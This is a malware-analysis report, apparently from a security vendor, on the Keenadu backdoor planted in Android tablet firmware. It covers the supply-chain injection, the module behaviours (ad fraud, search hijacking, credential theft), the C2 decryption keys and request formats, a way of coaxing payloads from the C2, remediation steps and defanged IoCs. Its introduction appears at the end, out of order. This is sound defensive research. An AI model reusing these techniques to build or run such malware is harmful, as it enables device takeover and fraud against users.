It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.

AKClient architecture

AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.

AKServer architecture

At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:

  • Grant any permission to an arbitrary app on the device.
  • Revoke any permission from an arbitrary app on the device.
  • Retrieve the device’s geolocation.
  • Exfiltrate device information.
Malicious interface for permission management and device data collection

Malicious interface for permission management and device data collection

Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:

  1. The encrypted address string is decoded using Base64.
  2. The resulting data, a gzip-compressed buffer, is then decompressed.
  3. The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".

After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:

  • m: the MD5 hash of the device IMEI
  • n: the network connection type (β€œw” for Wi-Fi, and β€œm” for mobile data)

The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.

How Keenadu compromised libandroid_runtime.so

After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.

User complaints regarding suspicious DNS queries

User complaints regarding suspicious DNS queries

The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:

  • 67.198.232[.]4
  • 67.198.232[.]187

The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.

To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparse code); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.

We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.

Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The β€œNFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.

During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.

Furthermore, we have found a static library, libVndxUtils.a (MD5:Β ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:

  • D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
  • D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.

The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.

Code snippet where the attacker inserted the malicious call

Code snippet where the attacker inserted the malicious call

According to our data, the malicious dependency was located within the firmware source code repository at the following paths:

  • vendor/mediatek/proprietary/external/libutils/arm/libVndxUtils.a
  • vendor/mediatek/proprietary/external/libutils/arm64/libVndxUtils.a

Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate β€œvndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.

Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.

Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.

Keenadu backdoor modules

As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.

The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.

Example of payload metadata

Example of payload metadata

Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):

struct KeenaduChunk {
    uint32_t size;
    uint8_t data[size];
} __packed;

struct KeenaduPayload {
    int32_t version;
    uint8_t padding[0x100];
    uint8_t salt[0x20];
    KeenaduChunk config;
    KeenaduChunk payload;
    KeenaduChunk signature;
} __packed;

After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".

The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.

{
    "stopMethod": "stop",
    "startMethod": "start",
    "pluginId": "com.ak.p.wp",
    "service": "1",
    "cn": "com.ak.p.d.MainApi",
    "m_uninit": "stop",
    "version": "3117",
    "clazzName": "com.ak.p.d.MainApi",
    "m_init": "start"
}

Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.

Keenadu loader

This module (MD5:Β 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:

  • com.amazon.mShop.android.shopping (Amazon)
  • com.zzkko (SHEIN)
  • com.einnovation.temu (Temu)

The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServer requests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.

Data collection via the plugin

Data collection via the plugin

In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.

Use of an installation session

Use of an installation session

Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.

User complaint on Reddit

User complaint on Reddit

Clicker loader

These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:

  • Wallpaper (com.android.wallpaper)
  • YouTube (com.google.android.youtube)
  • Facebook (com.facebook.katana)
  • Digital Wellbeing (com.google.android.apps.wellbeing)
  • System launcher (com.android.launcher3)

Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:

struct Payload {
    uint8_t magic[10]; // == "encrypttag"
    uint8_t keyLen;
    uint8_t xorKey[keyLen];
    uint8_t payload[];
} __packed;

The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.

Example of payload metadata

Example of payload metadata

In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.

Google Chrome module

This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.

Searching for the url_bar text element

Searching for the url_bar text element

If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.

Search engine hijacking

Search engine hijacking

It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.

Search engine hijacking upon selecting a browser-suggested option

Search engine hijacking upon selecting a browser-suggested option

The Nova (Phantom) clicker

The initial version of this module (MD5:Β f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.

Nova as the plugin name

Nova as the plugin name

It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.

Request to unload the Nova module

Request to unload the Nova module

Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:

  • The Nova clicker.
  • A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
  • The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.

Install monetization

A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.

Handler registration

Handler registration

Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.

Example of a monetization module configuration

Example of a monetization module configuration

When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.

App ad source information

App ad source information

For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.

Google Play module

Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.

Retrieving the advertising ID

Retrieving the advertising ID

Other Keenadu distribution vectors

During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.

System apps

According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5:Β d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.

Using the face recognition service in the System UI

Using the face recognition service in the System UI

Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.

Malicious call

Malicious call

The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.

Native methods defined by the library

Native methods defined by the library

This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.

In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5:Β 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.

We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5:Β d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.

Retrieving the configuration from the C2

Retrieving the configuration from the C2

Loading via other backdoors

While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5:Β f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:

  • com.androidextlib.sloth.api.IPServiceM
  • com.androidextlib.sloth.api.IPermissionsM

These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5:Β 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.

Payload decryption

Payload decryption

The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.

The path /terminal/client/register was previously documented in a HUMAN Security report

The path /terminal/client/register was previously documented in a HUMAN Security report

Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.

One of the binder interfaces used by Keenadu is defined in the payload

One of the binder interfaces used by Keenadu is defined in the payload

Modifications of popular apps

Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.

Google Play

Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.

Examples of infected apps in Google Play

Examples of infected apps in Google Play

Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.

The malicious service was launched only under specific conditions

The malicious service was launched only under specific conditions

The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected

After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.

In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5:Β 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.

BADBOX payload code used for stealing credentials from WhatsApp clients

BADBOX payload code used for stealing credentials from WhatsApp clients

The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".

Decrypted payload C2 addresses

Decrypted payload C2 addresses

After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5:Β caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.

BADBOX and Triada launched from the same entry point

BADBOX and Triada launched from the same entry point

These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.

Victims

According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.

Recommendations

Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.

If the libandroid_runtime.so library is infected

Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.

Review of an infected tablet complaining about noise

Review of an infected tablet complaining about noise

If you encounter the Keenadu backdoor, we recommend the following:

  • Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
  • If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
  • Until the firmware is replaced or updated, we recommend that you stop using the infected device.

If one of the system apps is infected

Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:

  1. Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
  2. Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.

If an infected app has been installed on the device

This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.

Conclusion

Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.

Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.

Indicators of compromise

Additional IoCs, technical details and a YARA rule for detecting Keenadu activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Malicious libandroid_runtime.so libraries
bccd56a6b6c9496ff1acd40628edd25e
c4c0e65a5c56038034555ec4a09d3a37
cb9f86c02f756fb9afdb2fe1ad0184ee
f59ad0c8e47228b603efc0ff790d4a0c
f9b740dd08df6c66009b27c618f1e086
02c4c7209b82bbed19b962fb61ad2de3
185220652fbbc266d4fdf3e668c26e59
36db58957342024f9bc1cdecf2f163d6
4964743c742bb899527017b8d06d4eaa
58f282540ab1bd5ccfb632ef0d273654
59aee75ece46962c4eb09de78edaa3fa
8d493346cb84fbbfdb5187ae046ab8d3
9d16a10031cddd222d26fcb5aa88a009
a191b683a9307276f0fc68a2a9253da1
65f290dd99f9113592fba90ea10cb9b3
68990fbc668b3d2cfbefed874bb24711
6d93fb8897bf94b62a56aca31961756a

Keenadu payloads
2922df6713f865c9cba3de1fe56849d7
3dae1f297098fa9d9d4ee0335f0aeed3
462a23bc22d06e5662d379b9011d89ff
4c4ca7a2a25dbe15a4a39c11cfef2fb2
5048406d8d0affa80c18f8b1d6d76e21
529632abf8246dfe555153de6ae2a9df
7ceccea499cfd3f9f9981104fc05bcbd
912bc4f756f18049b241934f62bfb06c
98ff5a3b5f2cdf2e8f58f96d70db2875
aa5bf06f0cc5a8a3400e90570fb081b0
ad60f46e724d88af6bcacb8c269ac3c1
dc3d454a7edb683bec75a6a1e28a4877
f0184f6955479d631ea4b1ea0f38a35d

System applications infected with Keenadu loader
07546413bdcb0e28eadead4e2b0db59d
0c1f61eeebc4176d533b4fc0a36b9d61
10d8e8765adb1cbe485cb7d7f4df21e4
11eaf02f41b9c93e9b3189aa39059419
19df24591b3d76ad3d0a6f548e608a43
1bfb3edb394d7c018e06ed31c7eea937
1c52e14095f23132719145cf24a2f9dc
21846f602bcabccb00de35d994f153c9
2419583128d7c75e9f0627614c2aa73f
28e6936302f2d290c2fec63ca647f8a6
382764921919868d810a5cf0391ea193
45bf58973111e00e378ee9b7b43b7d2d
56036c2490e63a3e55df4558f7ecf893
64947d3a929e1bb860bf748a15dba57c
69225f41dcae6ddb78a6aa6a3caa82e1
6df8284a4acee337078a6a62a8b65210
6f6e14b4449c0518258beb5a40ad7203
7882796fdae0043153aa75576e5d0b35
7c3e70937da7721dd1243638b467cff1
9ddd621daab4c4bc811b7c1990d7e9ea
a0f775dd99108cb3b76953e25f5cdae4
b841debc5307afc8a4592ea60d64de14
c57de69b401eb58c0aad786531c02c28
ca59e49878bcf2c72b99d15c98323bcd
d07eb2db2621c425bda0f046b736e372
d4be9b2b73e565b1181118cb7f44a102
d9aecc9d4bf1d4b39aa551f3a1bcc6b7
e9bed47953986f90e814ed5ed25b010c

Applications infected with Nova clicker
0bc94bc4bc4d69705e4f08aaf0e976b3
1276480838340dcbc699d1f32f30a5e9
15fb99660dbd52d66f074eaa4cf1366d
2dca15e9e83bca37817f46b24b00d197
350313656502388947c7cbcd08dc5a95
3e36ffda0a946009cb9059b69c6a6f0d
5b0726d66422f76d8ba4fbb9765c68f6
68b64bf1dea3eb314ce273923b8df510
9195454da9e2cb22a3d58dbbf7982be8
a4a6ff86413b3b2a893627c4cff34399
b163fa76bde53cd80d727d88b7b1d94f
ba0a349f177ffb3e398f8c780d911580
bba23f4b66a0e07f837f2832a8cd3bd4
d6ebc5526e957866c02c938fc01349ee
ec7ab99beb846eec4ecee232ac0b3246
ef119626a3b07f46386e65de312cf151
fcaeadbee39fddc907a3ae0315d86178

Payload CDN
ubkt1x.oss-us-west-1.aliyuncs[.]com
m-file-us.oss-us-west-1.aliyuncs[.]com
pkg-czu.istaticfiles[.]com
pkgu.istaticfiles[.]com
app-download.cn-wlcb.ufileos[.]com

C2 servers
110.34.191[.]81
110.34.191[.]82
67.198.232[.]4
67.198.232[.]187
fbsimg[.]com
tmgstatic[.]com
gbugreport[.]com
aifacecloud[.]com
goaimb[.]com
proczone[.]com
gvvt1[.]com
dllpgd[.]click
fbgraph[.]com
newsroomlabss[.]com
sliidee[.]com
keepgo123[.]com
gsonx[.]com
gmsstatic[.]com
ytimg2[.]com
glogstatic[.]com
gstatic2[.]com
uscelluliar[.]com
playstations[.]click

  •  

Divide and conquer: how the new Keenadu backdoor exposed links between major Android botnets

In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.

This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.

Our findings can be summarized as follows:

  • We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
  • A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
  • We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
  • One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
  • In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
  • Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.

The complete Keenadu infection chain looks like this:

Full infection diagram

Full infection diagram

Kaspersky solutions detect the threats described below with the following verdicts:

HEUR:Backdoor.AndroidOS.Keenadu.*
HEUR:Trojan-Downloader.AndroidOS.Keenadu.*
HEUR:Trojan-Clicker.AndroidOS.Keenadu.*
HEUR:Trojan-Spy.AndroidOS.Keenadu.*
HEUR:Trojan.AndroidOS.Keenadu.*
HEUR:Trojan-Dropper.AndroidOS.Gegu.*

